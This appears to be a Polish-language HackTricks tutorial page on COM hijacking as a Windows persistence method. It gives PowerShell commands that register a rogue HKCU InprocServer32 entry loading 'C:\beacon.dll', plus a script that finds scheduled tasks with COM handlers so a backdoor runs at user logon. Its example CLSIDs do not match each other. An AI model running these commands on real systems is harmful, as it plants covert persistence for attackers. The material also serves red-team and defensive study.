hacktricks/windows-hardening/windows-local-privilege-escalation/com-hijacking.md
2024-02-11 01:46:25 +00:00

5.6 KiB

Przechwytywanie COM

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wyszukiwanie nieistniejących komponentów COM

Ponieważ wartości HKCU mogą być modyfikowane przez użytkowników, przechwytywanie COM może być używane jako mechanizm trwały. Korzystając z procmon, łatwo znaleźć wyszukiwane rejestry COM, które nie istnieją i które atakujący może utworzyć w celu trwałego zainfekowania. Filtry:

  • Operacje RegOpenKey.
  • gdzie Wynik to NAME NOT FOUND.
  • a Ścieżka kończy się na InprocServer32.

Po zdecydowaniu, który nieistniejący COM ma zostać podrobiony, wykonaj następujące polecenia. Bądź ostrożny, jeśli zdecydujesz się podrobić COM, który jest ładowany co kilka sekund, ponieważ może to być nadmiarowe.

New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"

Zdobywanie kontroli nad komponentami COM Harmonogramu zadań

Zadania systemu Windows używają niestandardowych wyzwalaczy do wywoływania obiektów COM, a ponieważ są wykonywane przez Harmonogram zadań, łatwiej przewidzieć, kiedy zostaną uruchomione.

# Wyświetl CLSID-y COM
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }

if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Nazwa zadania: " $Task.TaskName
Write-Host "Ścieżka zadania: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}

# Przykładowy wynik:
# Nazwa zadania:  Przykład
# Ścieżka zadania:  \Microsoft\Windows\Przykład\
# CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
# [więcej podobnych...]

Sprawdzając wynik, możesz wybrać takie zadanie, które będzie wykonywane za każdym razem, gdy użytkownik się zaloguje, na przykład.

Następnie, szukając CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} w HKEY_CLASSES_ROOT\CLSID oraz w HKLM i HKCU, zazwyczaj okaże się, że wartość nie istnieje w HKCU.

# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\some.dll
ThreadingModel : Both

# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize

Name                                   Property
----                                   --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler

# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.

Następnie możesz po prostu utworzyć wpis HKCU i za każdym razem, gdy użytkownik się loguje, twoje tylne drzwi zostaną uruchomione.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: